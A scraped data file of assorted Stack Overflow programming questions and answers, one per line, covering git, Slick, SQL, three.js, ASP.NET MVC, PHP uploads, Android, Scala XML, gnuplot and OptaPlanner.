39856475	0	 <p>You can use :</p> <pre><code>git config --get-regexp user.name </code></pre> <p>For the <strong>user name</strong>. for the <strong>repository name</strong>, you may have different repositories with different names, so I guess parsing :</p> <pre><code>git remote get-url origin </code></pre> <p>could help if you only care about the origin ? The format would be (prefixes would differ between ssh or https) <code>git@github.com:{github_handle}/{repo_name}.git</code></p>
16145138	0	Strange exception when using groupBy in slick <p>I have a table with a few columns, two of them are: vendingMachineId (which are repeated) and each one has a timestamp.</p> <p>I want to get latest timestamp for each vendingMachineId so I did this:</p> <pre><code>def getLastReading(assetIds: List[Int])(implicit db: Session): Map[Int, String] = { val vmrps = (((for { vmrp &lt;- VendingMachineReadingProducts if (vmrp.vendingMachineId inSet assetIds) } yield (vmrp.vendingMachineId, vmrp.timestamp)).sortBy(_._2.desc)).groupBy(x =&gt; (x._1, x._2))).map { case (all, q) =&gt; all._1 -&gt; all._2 }.list vmrps map { case (assetId, timestamp) =&gt; { assetId -&gt; (new SimpleDateFormat(DateTimeUtils.defaultDateTimeFormat)).format(timestamp) } } toMap } </code></pre> <p>The issue is that I receive a strange exception:</p> <pre><code>scala.slick.SlickException: Unexpected node Ref @20339870 -- SQL prefix: select at scala.slick.driver.BasicStatementBuilderComponent$QueryBuilder.toComprehension(BasicStatementBuilderComponent.scala:75) ~[slick_2.10-1.0.0.jar:1.0.0] at scala.slick.driver.BasicStatementBuilderComponent$QueryBuilder.expr(BasicStatementBuilderComponent.scala:285) ~[slick_2.10-1.0.0.jar:1.0.0] at scala.slick.driver.PostgresDriver$QueryBuilder.expr(PostgresDriver.scala:55) ~[slick_2.10-1.0.0.jar:1.0.0] at scala.slick.driver.BasicStatementBuilderComponent$QueryBuilder.buildSelectPart(BasicStatementBuilderComponent.scala:155) ~[slick_2.10-1.0.0.jar:1.0.0] </code></pre> <p>Does anyone know what I am doing wrong?</p>
25736753	0	how to do reduce multiple query into one query <pre><code>Query 1: select item_no from hdd where item_no='$in' and id != '$id' Query 2: select sr from hdd where sr='$hd' Query 3: select item_no from hdd where casing_no='$c' and id != '$id' </code></pre> <p>Result Required : </p> <pre><code>Q1 = num_rows = 0 Q2 = num_rows &lt;&gt; 0 Q3 = num_rows = 0 </code></pre> <p>How can perform above task in single query ? ?</p> <p>Done this :</p> <pre><code>SELECT id FROM hdd WHERE status='1' AND item_no='$in' AND FIND_IN_SET('$hd', sr)&lt;&gt;0 AND casing='$c' AND id&lt;&gt;'111' </code></pre>
26792768	0	Loading a .obj file all black <p>I've successfully loaded a 3d model that I triangulated using Blender. Trouble is its all black and I can't figure out how to get it to show color or textures.</p> <p>I have an ambient light initialized like this:</p> <p>function init() { scene = new THREE.Scene;</p> <pre><code>camera = new THREE.PerspectiveCamera( 75, (window.innerWidth) / (window.innerHeight), 1, 10000); camera.position.x = 500; camera.position.z = 100; camera.lookAt(new THREE.Vector3(0, 0, 0)); camera.rotateZ(90 * Math.PI / 180); scene.add(new THREE.AmbientLight(0xffffff)); populate(); renderer = new THREE.WebGLRenderer(); renderer.setSize(window.innerWidth, window.innerHeight); renderer.render(scene, camera); document.body.appendChild(renderer.domElement); document.addEventListener('keydown', function(event) { keydown(event); }); </code></pre> <p>}</p> <p>Here's the .mtl that goes with the .obj Blender MTL File: 'mq9.blend' Material Count: 4</p> <p>newmtl Material__69 Ns 9.803922 Ka 0.000000 0.000000 0.000000 Kd 0.225882 0.225882 0.225882 Ks 0.900000 0.900000 0.900000 Ni 1.000000 d 1.000000 illum 2</p> <p>newmtl _6___Default Ns 19.607843 Ka 0.000000 0.000000 0.000000 Kd 0.800000 0.800000 0.800000 Ks 0.900000 0.900000 0.900000 Ni 1.000000 d 1.000000 illum 2</p> <h1>map_Kd missile.jpg</h1> <p>newmtl mq_9 Ns 31.372549 Ka 0.000000 0.000000 0.000000 Kd 0.800000 0.800000 0.800000 Ks 0.990000 0.990000 0.990000 Ni 1.000000 d 1.000000 illum 2</p> <h1>map_Kd predator.jpg</h1> <h1>map_Bump predator_Normal.jpg</h1> <p>newmtl mq_90 Ns 31.372549 Ka 0.000000 0.000000 0.000000 Kd 0.800000 0.800000 0.800000 Ks 0.990000 0.990000 0.990000 Ni 1.000000 d 1.000000 illum 2</p> <h1>map_Kd predator.jpg</h1> <h1>map_Bump predator_Normal.jpg</h1> <p>The various .jpgs are all found but for some reason they don't seem to be rendering by three.js. I'm wondering if the jpgs need to be modified somehow to reflect the triangulation?</p> <p>Screenshot: <img src="https://i.stack.imgur.com/NwunH.png" alt="enter image description here"></p>
37347382	0	How to remove all bootstrap processing from radio button? <p>I am using coldfusion and bootstrap to make a site. I have some radio buttons that need to be selected depending on the value of a query output, but for some reason I cannot get any of the radio buttons to select at all based on their value. I was thinking maybe it is something in bootstrap 3 that is causing an issue. </p> <p>Is there a way to remove all bootstrap style from a series of radio buttons?</p> <p>Edit I am using this to check the boxes:</p> <pre><code>&lt;cfinput type="radio" name="update_type" value="#form.update_type#" checked="#form.update_type eq 3#" /&gt; </code></pre>
36960628	0	How to return results together with update operations in BaseX? <p>I recognized that (<code>insert</code>/<code>delete</code>)-XQueries executed with the BaseX client always returning an empty string. I find this very confusing or unintuitive.</p> <p>Is there a way to find out if the query was "successful" without querying the database again (and using potentially buggy "transitive" logic like "if I deleted a node, there must be 'oldNodeCount-1' nodes in the XML")?</p>
15408459	0	How to Revert database to last modified from recent Restore? <p>me and my fried were developing a project in separate system but created database in same name, Today i restored my database in my friend's machine accidentally. Is there any way to roll back the database in SQL-Server, which means i want to get database that i restore before.</p>
16450393	0	 <p>You're asking for the filesize of a directory, which in this case is 4,096 bytes. This number will vary for a directory depending on what sort of filesystem you're using and how many files are in it. </p>
2004367	0	UIImageView's CALayer's anchorPoint "accessing unknown component of property" error <p>I'm trying to rotate an image about the bottom right corner. To do this I know I need to set the layer's anchorPoint, but I can't access it. I've included the QuartzCore framework in my project. To simplify the problem as much as possible, I've reduced the method to these three lines, which still throw the error "error: accessing unknown 'anchorPoint' component of a property" (line 2).</p> <pre><code>UIView *sqView = [[UIView alloc] init]; sqView.layer.anchorPoint = CGPointMake(1.0, 1.0); [sqView release]; </code></pre> <p>It must be something truly stupid. I've looked at other examples of this and they appear identical. What am I missing?</p>
7423066	0	 <p>I was having a similar problem. Route values that were passed to my controller action were being reused when I tried to redirect the user with <strong>RedirectToAction</strong>, even if I didn't specify them in the new <strong>RouteValueDictionary</strong>. The solution that I came up with (after reading counsellorben's post) with was to clear out the <strong>RouteData</strong> for the current request. That way, I could stop MVC from merging route values that I didn't specify.</p> <p>So, in your situation maybe you could do something like this:</p> <pre><code>[CustomAuthorize] [HttpGet] public ActionResult Approve(int id) { _customerService.Approve(id); this.RouteData.Values.Clear(); //clear out current route values return RedirectToAction("Search"); //Goes to bad url } </code></pre>
14421729	0	How do you grab an element in a JSON tree without an explicit name in Play 2.0? <p>I've been working through parsing .json files in a Play 2.0 project and there is one thing I can't figure out. Here is a snippet from the online docs:</p> <pre><code>{ "users":[ { "name": "Bob", "age": 31.0, "email": "bob@gmail.com" }, { "name": "Kiki", "age": 25.0, "email": null } ] } </code></pre> <p>What I want to know is, how do I grab one whole user? The problem is that I can't figure out how to reference the grouping of parameters that represents a single user. I've tried something like </p> <pre><code>( json \\ "users" ) </code></pre> <p>which just gives all the users as a single element in a list, and I've tried something like </p> <pre><code>( json \ "users" \ (user)(0)) </code></pre> <p>but it seems I have to define 'user' and I have no idea what would be appropriate for that.</p> <p>Better yet, is there a way to grab all the customers in a list? Or even just iterate over the tree and hit upon each user so I can access all the information of a specific user at once?</p>
26398213	0	Link against two versions of the same library (same symbols) <p>I'm developing an iOS app and want to link against a particular library. However a forked/old version of that same library (with colliding symbols) has been statically linked into a framework that I'm also using. Because the version pulled in by the framework is forked and out-dated ideally I'd like to somehow use the new library for my purposes, and allow the old/forked version to continue to be used by the framework, all in the one iOS binary.</p> <p>I don't have control over the old/forked version of the library, but I can compile the new version however I please.</p> <p>Is there something I can do to automatically prefix/namespace the symbols in the new version of the library so that I can use them without colliding with symbols in the old version?</p>
5118902	0	 <p>This question doesn't make much sense. You really should clarify and flesh out the question and explain what you are trying to do.</p> <p>In some ways, an ASP.NET textbox <em>is</em> an HTML text field that C# code can make use of. So what's the problem with an ASP.NET textbox?</p>
4031206	0	 <p>Sounds like you are looking for the <a href="http://en.wikipedia.org/wiki/HTTP_referrer" rel="nofollow"><strong>HTTP Referrer</strong></a>. You can get it via <a href="http://php.net/manual/en/reserved.variables.server.php" rel="nofollow"><code>$_SERVER['HTTP_REFERER']</code></a>.</p> <p>But note that this can be changed by the user to something else, so you actually cannot rely on that.</p> <hr> <p>Maybe it is better to send the current URL via the Ajax call, along with the ID:</p> <pre><code>$('#file').load('fun2.php?id='+ Math.random() +'&amp;parent=' + encodeURIComponent(window.location)); </code></pre> <p>But again, if one really wants to, he can change this too. So you can never 100% trust that one request is really coming from a certain page.</p> <p>Reference: <a href="https://developer.mozilla.org/en/DOM/window.location" rel="nofollow"><code>window.location</code></a>, <a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/encodeURIComponent" rel="nofollow"><code>encodeURIComponent</code></a></p>
2090372	0	 <p>i would think there would be a java equivalent to something like the following php</p> <pre><code>$my_numbers = range(0,100); echo implode($my_numbers, ' '); </code></pre> <p>this avoids recursion, loops, control statements, etc.</p>
7036293	0	 <blockquote> <ol> <li>How to commit my changes to the local git repository as well as my forked repository in github?</li> </ol> </blockquote> <p>To add files changes for commit, use the following command.</p> <pre><code>git add . </code></pre> <p>then, make a local commit by</p> <pre><code>git commit </code></pre> <p>once you make your local commit, you can then push it to your remote GitHub fork.</p> <pre><code>git push </code></pre> <blockquote> <ol> <li>How will the author of the original source code, pull my changes from the forked repository in github</li> </ol> </blockquote> <p>To make your source code pulled by original fork, you have to send a <em>pull request</em> to the project owner.</p> <ol> <li>Go to the web page of your forked project on GitHub.</li> <li>Hit the <em>pull request</em> button on the top right of page</li> <li>Select the commits that you want to submit by <em>change commits</em> button.</li> <li>Write some description of your changes, comments, or etc.</li> <li><em>Send pull request</em> and wait for the owner reply.</li> </ol>
26991767	0	 <p>For completeness, <a href="http://scikit-learn.org/stable/modules/svm.html#nusvc" rel="nofollow">from the documentation</a>: Nu-SVM is a constrained formulation of SVM (equivalent with the original up to reparametrization) which poses a hard bound on the allowed misclassification. If this bound cannot by satisfied, then the associated convex optimization problem becomes infeasible.</p> <p>From this standpoint the first thing you have to investigate is how much training error you really can expect, and maybe revise your assumptions. Search over a grid of <code>C</code> values for a standard SVM to check that.</p> <p>NuSVC should work with some values strictly less than 1, though. According to your description, you have tried 0.9 -- start adding 9s, ie .99, .999. If it doesn't work at some point, then there has to be another problem somewhere.</p>
15851668	0	Fancybox with an i-frame cross-domain, partially rendered with Explorer10 compability mode <p>Site that open a fancybox i-frame, and in the i-frame there is a aspx - ajax page of other domain. just with IE10 in compability mode (No problem with others browsers), the page is just partially rendered, and when I click on a button (example to change the color of the bag) the page is correctly rendered.</p> <p>First rendered:</p> <p><img src="https://i.stack.imgur.com/L8kx0.jpg" alt="First rendered"></p> <p>After click on orange color:</p> <p><img src="https://i.stack.imgur.com/3KDoO.jpg" alt="After click"></p> <p>UPDATE:</p> <p>1) On a separate i-frame (without fancybox) the page works perfectly.</p> <p>2) It's not a cross-domain issue, problem exists also on my pc.</p>
5703509	0	 <p>If there is some PHP behind, the problem could be calling a function empty($var) in this way:</p> <pre><code>if(empty($var = getMyVar())) { ... } </code></pre> <p>Instead of this You should call it this way:</p> <pre><code>$var = getMyVar(); if(empty($var)) { ... } </code></pre> <p>Or better (as <strong>deceze</strong> has pointed out)</p> <pre><code>if(!getMyVar()) { ... } </code></pre> <p>Problem causes also other similar functions (isset, is_a, is_null, etc).</p>
14497906	0	Android-NDK: create GUI elements out of native code <p>as far as I understood the Android-NDK-thingy it works as follows: I have to use a NativeActivity that itself calls into the attached native code handing over some OpenGL graphics context. This context can be used by the native part to draw some things with.</p> <p>What I could not fiddle out until now: how about some GUI elements? Is there a possibility to call back from native code to Java just to create some UI-elements and perhaps to use layouts? Means is it possible to use the standard Android GUI elements also with such native code?</p> <p>If yes: how can this be done? If not: what alternatives exist (except drawing everything manually)?</p> <p>Thanks!</p>
37488877	0	 <blockquote> <p>I assume that you don't use nginx to serve static assets in development? Runserver can serve static files, but very much slower than nginx, which becomes a problem once you have more than a single web site visitor at a time. You can remove the nginx alias for static and reload nginx to let runserver serve the files, to confirm whether it's a problem in the nginx config. Håken Lid</p> </blockquote> <p>I removed nginx and made the Django server load the static files, and now I can show it to my future users. This answered my question, though it did not solve the problem itself! Thanks anyway !</p>
15464859	0	Multiple xmlhttprequest <p>Is it possible with javascript ? or do I need to create two senders ?</p> <p>because this don't work</p> <pre><code>xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("textBox="+textBox.value); xmlhttp.send("textBoxID="+textBox.parentNode.id); </code></pre>
11031271	0	 <p>In short - there shouldn't be a problem. Once 3 &amp; 4 are both installed, the two use different project templates and the references to the MVC assemblies are specifically targetted at the correct versions.</p> <p>Beyond that, the web.configs of the two sites then determine the other assemblies that are used - and since they are seeded by the project templates they will be correct.</p> <p>Now, if you were asking about having 3 &amp; 4 in the same <em>project</em>, that would be another story. But then you wouldn't do that.</p> <p>It's true there are a few known issues with the Razor editor and stuff like that - but none of those are show-stoppers and are almost certainly likely to have been fixed by the time v4 RTMs.</p>
28591521	0	 <p>Check the following tutorial, it appears to be for the latest version of TinyMCE (and it is updated recently).</p> <p><a href="https://www.gavick.com/blog/wordpress-tinymce-custom-buttons" rel="nofollow noreferrer">https://www.gavick.com/blog/wordpress-tinymce-custom-buttons</a></p> <p>The tutorial you linked is probably for the TinyMCE that was in WordPress prior to 3.9.</p> <p>Edit: Did a quick test. Seems to be working. :)</p> <p><img src="https://i.stack.imgur.com/axm32.jpg" alt=""></p> <hr> <p>A quick guide to get it working:</p> <ol> <li>Open <a href="https://www.gavick.com/blog/wordpress-tinymce-custom-buttons#tmce-section-1" rel="nofollow noreferrer">https://www.gavick.com/blog/wordpress-tinymce-custom-buttons#tmce-section-1</a></li> <li>Paste the four codes of php in your functions.php file</li> <li>Replace <code>plugins_url( '/text-button.js', __FILE__ );</code> with <code>get_bloginfo('stylesheet_directory') . /text-button.js</code> (might need adjusting if the file is in a subdirectory).</li> <li>Paste the javascript code from the fifth block in the javascript file you created.</li> </ol> <p>(note this is just a quick example for implementing it in a <strong>theme</strong> so you can get the main idea, if you are actually building a plugin, you should use the <code>plugins_url( '/text-button.js', __FILE__ )</code> syntax).</p> <p><a href="http://codex.wordpress.org/Function_Reference/plugins_url" rel="nofollow noreferrer">http://codex.wordpress.org/Function_Reference/plugins_url</a></p>
22457647	0	 <p>WMS draw works fine but you have to implement a Proxy for downloading WMS tiles using AJAX. See the PHP proxy example of html2canvas for the implementation details of the "proxy" (which is not a http proxy".</p>
23283640	0	Is my code below secure enough to be used in production? <p>What is the best practice to securely upload an image to a php script based on my code below? I'm using the file transfer cordova plugin to upload the image to a php script.</p> <p>Javascript (file transfer cordova plugin)</p> <pre><code>var options = new FileUploadOptions(); options.fileKey = "file"; options.fileName = imageURI.substr(imageURI.lastIndexOf('/') + 1); options.mimeType = "image/jpeg"; var params = new Object(); params.imageLink = "test"; options.params = params; options.chunkedMode = false; var ft = new FileTransfer(); ft.upload(imageURI, "http://example.com/upload.php", win, fail, options); alert("Post Uploading"); function win(r) { console.log("Code = " + r.responseCode); console.log("Response = " + r.response); console.log("Sent = " + r.bytesSent); alert(r.response); } function fail(error) { $.mobile.loading('hide'); navigator.notification.alert("An error has occurred: Code = " + error.code, null, 'Alert', 'OK'); } </code></pre> <p>PHP</p> <pre><code>&lt;?php if(isset($_POST['imageLink'])) { $imageLink = $_POST['imageLink']; print_r($_FILES); $new_image_name = $imageLink.".jpg"; move_uploaded_file($_FILES["file"]["tmp_name"], “uploads/“.$new_image_name); } ?&gt; </code></pre> <p>Any suggestions?</p>
38679399	0	 <p>When you create your documents, you must set the creation date:</p> <pre><code>MyCollection.insert({ text: "abc", createdAt: new Date() }); </code></pre> <p>then, you can filter your data:</p> <ol> <li><p>If you want the documents created in an interval:</p> <p><code>MyCollection.find( {createdAt: { $gte: new Date("Sat Jul 30 2016 8:00:00"), $lt: new Date("Sat Jul 30 2016 9:00:00"), }}, {sort: {createdAt:1}});</code></p></li> <li><p>Or documents created exactly at 8am:</p> <p><code>MyCollection.find({createdAt: new Date("Sat Jul 30 2016 8:00:00")});</code></p></li> </ol> <p>Hope it helps.</p>
10093352	0	 <p>You can use <code>product</code> from <code>itertools</code> module.</p> <pre><code>itertools.product(range(3), range(2)) </code></pre>
7097691	0	 <p>the second and fourth query do not have an ending ')' at the end of the values</p>
33482444	0	 <p>I think this could help you. Defining your values directly as arrays, and representing them with a foreach loop. It's more like the way mysql_fetch_array represents the records obtained from the database.</p> <pre><code>$values = []; $values[] = [1, "A", "red"]; $values[] = [2, "B", "blue"]; $values[] = [3, "C", "yellow"]; $values[] = [4, "D", "orange"]; echo '&lt;table&gt;'; foreach ($values as $value) { echo '&lt;tr&gt;'; echo '&lt;td&gt;'.$value[0].'&lt;/td&gt;'; echo '&lt;td&gt;'.$value[1].'&lt;/td&gt;'; echo '&lt;td&gt;'.$value[2].'&lt;/td&gt;'; echo '&lt;/tr&gt;'; } echo '&lt;/table&gt;'; </code></pre>
36826687	0	 <p>The problem is you didn't implement <code>getItemId()</code>. You are calling the superclass implementation, which simply returns the same value for all positions.</p> <p>At the very least, you can do this:</p> <pre><code>@Override public long getItemId(int position) { return position; } </code></pre> <p>But if your data items actually have meaningful IDs, you should return the ID of the item instead.</p> <pre><code>@Override public long getItemId(int position) { return rinfoList.get(position).getId(); } </code></pre>
13231433	0	gnuplot label not displayed <p>I have lots of files to generate a plot for and therefore wrote a little script for gnuplot. I want to add additional information with a label underneath the graph but my label is not displayed on the generated image. Anyone gut an idea?</p> <p>load.plt:</p> <pre><code># template.gnuplot set terminal png filename = "results-05112012-".i.".dat" plotfile = "results-05112012-".i.".png" print filename." ".plotfile set grid set title "EER"" set output plotfile set label "m = 20" at 0, 3 front tc rgb "#ffffff" plot[0.35:0.75][0:100] filename using 1:6 title "FAR" w lp, filename using 1:7 title "FRR" w lp unset output unset label i=i+1 if(i &lt;= n) reread </code></pre>
13607556	0	 <p>The problem was a bit tricky but I manage to solve it.</p> <p>The fact is: <em>if a real postback is not executed</em> (responding with a file is not considered so) the value <em>is still considered "changed"</em>.</p> <p>The only way to solve this problem seems to be "resetting" manually the value of the hiddenfield.</p> <p>I came up with this:</p> <pre><code>self.getExcel = function (stringBase64) { $("#hiddenFiedlName").val(stringBase64); __doPostBack(); $("#hiddenFieldName").val(""); } </code></pre> <p>After the postback the value is restored to the initial one (which is always the empty string). By doing this the "ValueChanged" event is not triggered.</p> <p>As stated in the comment of jbl the <code>change()</code> was useless (please refer to his comment in the question).</p>
28782331	0	I have a customized form but whatever written on the form is not saved in database <p><img src="https://i.stack.imgur.com/NuemA.png" alt="enter image description here">I have a form that uses styles of twitter/bootstrap however the content of the form is not saved. May I please know what am I missing?</p> <pre><code> &lt;%= form_for @customer_detail, url: { action: "create" } do |f| %&gt; &lt;div class="form-group"&gt; &lt;div class="row"&gt; &lt;div class='col-sm-3'&gt; &lt;label for="Check in"&gt;Check in:&lt;/label&gt;&lt;br&gt; &lt;div class='input-group date' id='datetimepicker1'&gt; &lt;input class="form-control" type='text'&gt; &lt;span class="input-group-addon"&gt;&lt;span class= "glyphicon glyphicon-calendar"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/div&gt; &lt;/div&gt;&lt;label for="Check out"&gt;Check out:&lt;/label&gt;&lt;br&gt; &lt;div class='col-sm-3'&gt; &lt;div class='input-group date' id='datetimepicker2'&gt; &lt;input class="form-control" type='text'&gt; &lt;span class="input-group-addon"&gt;&lt;span class= "glyphicon glyphicon-calendar"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;% end %&gt; </code></pre>
17705693	0	Scala - replace xml element with specific text <p>so i have this XMl</p> <pre><code>&lt;a&gt;blah&lt;/a&gt; </code></pre> <p>And i want to change it to </p> <pre><code>&lt;a&gt;someValueIDoNotKnowAtCompileTime&lt;/a&gt; </code></pre> <p>Currently, I am looking at <a href="http://stackoverflow.com/q/970675/1061426">this SO question</a> . However, this just changes the value to "2"</p> <p>What i want is exactly the same thing, but to be able to define the value (so that it can change at runtime - i am reading the values from a file!)</p> <p>I tried passing the value into the overridden methods, but that didn't work - compile errors everywhere (obviously)</p> <p>How can i change static xml with dynamic values?</p> <p><strong>ADDING CODE</strong></p> <pre><code>var splitString = someString.split("/t") //where someString is a line from a file val action = splitString(0) val ref = splitString(1) xmlMap.get(action) match { //maps the "action" string to some XML case Some(entry) =&gt; { val xmlToSend = insertRefIntoXml(ref,entry) //for the different XML, i want to put the string "ref" in an appropriate place } ... </code></pre>
16201109	0	 <p>There must be trouble with your click event for your links. It might be a good idea to just make a function responsible for doing whatever action (back/forward), then call that whenever you need it.</p>
17716880	0	cannot SetBackground Resource image for android buttons <p>I want button with two states:</p> <ol> <li>OFF </li> <li>ON(or click).</li> </ol> <p>I have set normal image in the button background and I am trying to change image(pressed) from <code>onClick</code> method, but it doesn't change.</p> <pre><code>final Button button1 = (Button) findViewById(R.id.button1); button1.setOnClickListener(new OnClickListener() { private int flag; @Override public void onClick(View v) { if(flag==1) { button1.setBackgroundResource(R.drawable.on); flag=0; } if(flag==0) { button1.setBackgroundResource(R.drawable.off); flag=1; } } }); </code></pre>
10949691	0	 <ul> <li>Don't forget the <em>bootstrap-tooltip.js</em>, which is <a href="http://twitter.github.com/bootstrap/javascript.html#popovers" rel="nofollow">required for popover</a>. </li> <li>Only add the <code>data-content</code> attributes to the <em>new</em> <code>&lt;li&gt;</code>. </li> <li>The selector for popover should be for the <code>&lt;li&gt;</code>s and remove parameter <code>options</code>, if you don't initialize it. </li> <li>I would move the icons into <code>&lt;i&gt;</code> like in the <a href="http://twitter.github.com/bootstrap/base-css.html#icons" rel="nofollow">bootstrap description</a>. </li> <li>I've added some styling rules.</li> </ul> <p>The final html could be:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;link rel="stylesheet" type="text/css" href="http://twitter.github.com/bootstrap/assets/css/bootstrap.css"&gt; &lt;style type='text/css'&gt; ul { list-style: none inside none; margin: 0; } li { display: inline; } &lt;/style&gt; &lt;script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js'&gt;&lt;/script&gt; &lt;script type='text/javascript' src="http://twitter.github.com/bootstrap/assets/js/bootstrap-tooltip.js"&gt;&lt;/script&gt; &lt;script type='text/javascript' src="http://twitter.github.com/bootstrap/assets/js/bootstrap-popover.js"&gt;&lt;/script&gt; &lt;script type='text/javascript'&gt; $(document).ready(function() { $('li').popover(); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;h3&gt;category_name&lt;/h3&gt; &lt;ul&gt; &lt;li&gt; &lt;i class="icon-minus"&gt;&lt;/i&gt; &lt;a href="newGenView.php?id=1"&gt;name1 - description1&lt;/a&gt;&lt;br /&gt; &lt;/li&gt; &lt;li data-content="This item is new on Corkboard. Check it out!" data-original-title="New Item"&gt; &lt;i class="icon-star"&gt;&lt;/i&gt; &lt;a href="newGenView.php?id=2"&gt;name2 - description2&lt;/a&gt;&lt;br /&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Also see <a href="http://jsfiddle.net/cFzeA/" rel="nofollow">this example</a>.</p>
23416410	0	 <p>I have found the solution. The problem was that I was trying to use the adapter to get an reference to the views above and below the list item clicked. Instead I could find the appropriate views by using the getChildAt() method on the parent view (the listview itself).</p> <p>It was as easy as writing:</p> <pre><code>View aboveView = parent.getChildAt(position -1) View aboveViewShadow = aboveView.findViewById(R.id.settingsListRowShadowAbove); aboveViewShadow.setVisibility(View.VISIBLE); </code></pre>
20204537	0	 <p>Ugh. As simple as this:</p> <pre><code>infixl 1 |&gt;= (|&gt;=) = flip fmap findFiles target = getDirectoryContents target |&gt;= filter (not . (=~ "[0-9]{8}\\.txt$")) |&gt;= filter (=~ "\\.txt$") &gt;&gt;= filterM doesFileExist &gt;&gt;= mapM canonicalizePath </code></pre>
27646512	0	 <p>copy .ssh folder of C:\Users{Administrator}.ssh to git's working directory</p>
39343607	0	Better way to handle common headers and root? <p>Is there a better way to set bearer like a global config rather than setting it each time like this:</p> <pre><code>restClient.setBearerAuth(TokenStore.getInstance().getLocalToken()); </code></pre> <p>The same for root url, is there a global config rather than setting it like this:</p> <pre><code>String root= Application.getInstance().getApplicationContext().getResources().getString(R.string.whiteLabelApiBaseHost) restClient.setRootUrl(root); </code></pre> <p>In retrofit, there is something like this:</p> <pre><code>Retrofit retrofit = new Retrofit.Builder() .baseUrl(Application.getInstance().getApplicationContext() .getResources().getString(R.string.whiteLabelApiBaseHost)) </code></pre> <p>Any idea?</p>
19965144	0	 <p>Your idea is wrong.</p> <p>DocBook is logical markup. Presentation matters are defined in stylesheets.</p>
18432005	0	 <p>This looks like a bug in <a href="http://search.cpan.org/dist/XML-Schematron/" rel="nofollow">XML::Schematron</a>. The following line in docbook.sch is not taken into account:</p> <pre><code>&lt;s:ns prefix="db" uri="http://docbook.org/ns/docbook"/&gt; </code></pre> <p>The validation is done by turning the schema into an XSLT stylesheet. I was able to make the error go away by adding the DocBook namespace declaration in the XSLTProcessor.pm module:</p> <pre class="lang-pl prettyprint-override"><code>$self-&gt;append_template( qq|&lt;?xml version="1.0" encoding="UTF-8" standalone="yes"?&gt; &lt;xsl:stylesheet $ns version="1.0" xmlns:db="http://docbook.org/ns/docbook"&gt; &lt;xsl:output method="text"/&gt; &lt;xsl:template match="/"&gt; &lt;xsl:apply-templates select="/" mode="$mode"/&gt;| ); </code></pre> <p>The above is just a hack. A proper fix (which I haven't attempted) should of course work for any namespace declared in a Schematron schema.</p>
38390423	0	 <p>Try by giving margins and padding to enlarge view</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="wrap_content" android:orientation="horizontal" android:padding="1dp" android:weightSum="1"&gt; &lt;TextView android:id="@+id/itemLabel" android:layout_width="0dp" android:layout_height="match_parent" android:layout_weight="0.6" android:background="#00ffff" android:layout_margin="20dp" android:padding="10dp" android:gravity="center_vertical" android:text="Settings Item: " android:textAppearance="?android:attr/textAppearanceMedium" android:textColor="@android:color/holo_blue_dark"/&gt; &lt;EditText android:id="@+id/et_item_value" android:layout_margin="20dp" android:layout_width="0dp" android:padding="10dp" android:layout_height="match_parent" android:layout_weight="0.4" android:background="#ffff00" android:textColor="@android:color/holo_blue_dark" android:textColorHint="@android:color/darker_gray"/&gt; &lt;/LinearLayout&gt; </code></pre>
26012730	0	Running time of Construction Heuristic in OptaPlanner <p>I am using the OptaPlanner to optimize a chained planning problem which is similar to the VehicleRoutingExample. My planning entities have a planning variable which is another planning entity.</p> <p>Now I am testing a huge dataset with ca. 1500 planning entities. I am using an EasyJavaScoreCalculator to get a HardSoftScore. The Score includes several time and other factors which are calculated in loops. </p> <p>My Problem is that the ConstrucionHeuristic (FIRST_FIT or FIRST_FIT_DECREASING) takes more than ten minutes to initialize a Solution.</p> <p>I have already reduced the number of constraints and the number of loops with which I am calculating the score, but it did not have a real effect on the running duration.</p> <p>Is there a way to make the CH need less time? (I thought that it would take less time than the LocalSearch stuff but it isn’t…)</p>
37034208	0	$_request ["request"] in a restful api <p>I am learning to program a restful api and I am confused about some code in this tutorial.</p> <p><a href="http://coreymaynard.com/blog/creating-a-restful-api-with-php/" rel="nofollow">http://coreymaynard.com/blog/creating-a-restful-api-with-php/</a></p> <p>They used </p> <p><code>$_REQUEST["request"]</code> </p> <p>for the request uri. I am trying to understand the reason why I'd do this instead of </p> <p><code>$_SERVER["request_uri"]</code></p>
12344038	0	What caused my splitter to move? <p>I've got an issue that's doing my head in. I have a .net usercontrol with a splitcontainer control on it. The .net usercontrol is actually hosted in a control container in much older non .net legacy code (Visual Objects).</p> <p>The problem I'm having is that I'm getting a splitter_moved event firing on the splitcontainer control when the usercontrol is presented to the user, but I'm at a loss to find what's causing it to actually move. I've come across a number of curious behaviours with this interaction between the VO code and .net stuff, but I've got several other usercontrols embedded in VO container controls that work just fine. It's just this particular one that seems to be having a problem.</p> <p>The VO container controls are all identical. So are the .net usercontrols that are embedded in them (they all inherit from the same base class). This is why I'm having so much difficulty in understanding why it's just this one.</p> <p>I guess what I really want to know is how to determine what caused the splitter to move inside the splitcontainer control. The sender and eventargs aren't much help, because they all just refer to the splitcontainer control (obviously).</p> <p>Help??</p> <p>EDIT: The call stack from within the splitter_moved event handler is as follows:</p> <pre><code>00000072 0.26412687 Method: Void splitContainerMain_SplitterMoved(System.Object, System.Windows.Forms.SplitterEventArgs) 00000073 0.26649699 Method: Void OnSplitterMoved(System.Windows.Forms.SplitterEventArgs) 00000074 0.26906940 Method: Void set_SplitterDistance(Int32) 00000075 0.27223459 Method: Void ApplySplitterDistance() 00000076 0.27425244 Method: Void ResizeSplitContainer() 00000077 0.27621472 Method: Void OnLayout(System.Windows.Forms.LayoutEventArgs) 00000078 0.27813032 Method: Void PerformLayout(System.Windows.Forms.LayoutEventArgs) 00000079 0.28007442 Method: Void System.Windows.Forms.Layout.IArrangedElement.PerformLayout(System.Windows.Forms.Layout.IArrangedElement, System.String) 00000080 0.28211826 Method: Void DoLayout(System.Windows.Forms.Layout.IArrangedElement, System.Windows.Forms.Layout.IArrangedElement, System.String) 